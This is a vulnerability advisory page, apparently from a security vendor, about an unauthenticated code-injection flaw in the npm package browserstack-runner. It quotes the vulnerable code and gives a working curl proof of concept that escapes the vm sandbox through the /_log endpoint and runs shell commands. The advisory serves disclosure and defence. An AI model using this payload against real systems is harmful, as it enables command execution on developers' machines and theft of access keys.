GHSA-6vr3-7wcx-v5g5
HIGHGHSA-6vr3-7wcx-v5g5 is a high-severity (CVSS 8.8) Code Injection vulnerability in browserstack-runner. O3 Security confirms whether GHSA-6vr3-7wcx-v5g5 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
browserstack-runner vulnerable to Remote Code Execution via vm sandbox escape in _log HTTP handler
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-6vr3-7wcx-v5g5.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-6vr3-7wcx-v5g5 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
browserstack-runnernpmDescription
Summary
The HTTP handler /_log in lib/server.js (lines 491–515) of browserstack-runner passes unauthenticated user-supplied data to vm.runInNewContext() combined with eval(), enabling a sandbox escape and arbitrary code execution on the host system.
Details
When browserstack-runner starts, it creates an HTTP server on port 8888 (configurable) that listens on all network interfaces (0.0.0.0). The /_log endpoint accepts POST requests and processes the JSON body as follows:
// lib/server.js lines 504-510
var context = { input: query.arguments, format: util.format, output: '' };
var tryEvalOrString = 'function (arg) { try { return eval(\'o = \' + arg); } catch (e) { return arg; } }';
vm.runInNewContext('output = format.apply(null, input.map(' + tryEvalOrString + '));', context);
The vm module is not a security mechanism per Node.js documentation. The context object contains a reference to util.format (a host-context Function), enabling sandbox escape via this.constructor.constructor("return process")().
Unlike the _progress and _report handlers which verify worker UUID authentication, the _log handler does not gate on authentication.
Proof of Concept
# Terminal 1: start the runner
echo '<html><body>t</body></html>' > t.html
echo '{"username":"X","key":"X","test_path":"t.html","test_framework":"qunit","browsers":[]}' > browserstack.json
node bin/runner.js
# Terminal 2: exploit
curl -s http://127.0.0.1:8888/_log \
-H "Content-Type: application/json" \
-d '{"arguments":["this.constructor.constructor(\"return process.mainModule.require(\`child_process\`).execSync(\`id\`).toString()\")()"]}'
# Terminal 1 output shows:
# [undefined] uid=1000(user) gid=1000(user) ...
Impact
An attacker on the same network as a developer running browserstack-runner can execute arbitrary commands on the developer's machine without authentication. The attack window exists for the duration of the test run (typically 1–15 minutes). The BrowserStack access key is accessible in the same process context via environment variables.
Remediation
- Remove
eval()andvm.runInNewContext()from the_loghandler — useJSON.stringify()for safe logging - Add UUID authentication to
_log(matching_progressand_reporthandlers) - Bind the HTTP server on
127.0.0.1instead of0.0.0.0
Credit
Christ Bowel Bouchuen
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | browserstack-runner | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for browserstack-runner. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of browserstack-runner has shipped for GHSA-6vr3-7wcx-v5g5 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-6vr3-7wcx-v5g5 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-6vr3-7wcx-v5g5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-6vr3-7wcx-v5g5 in your dependencies?
O3 detects GHSA-6vr3-7wcx-v5g5 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.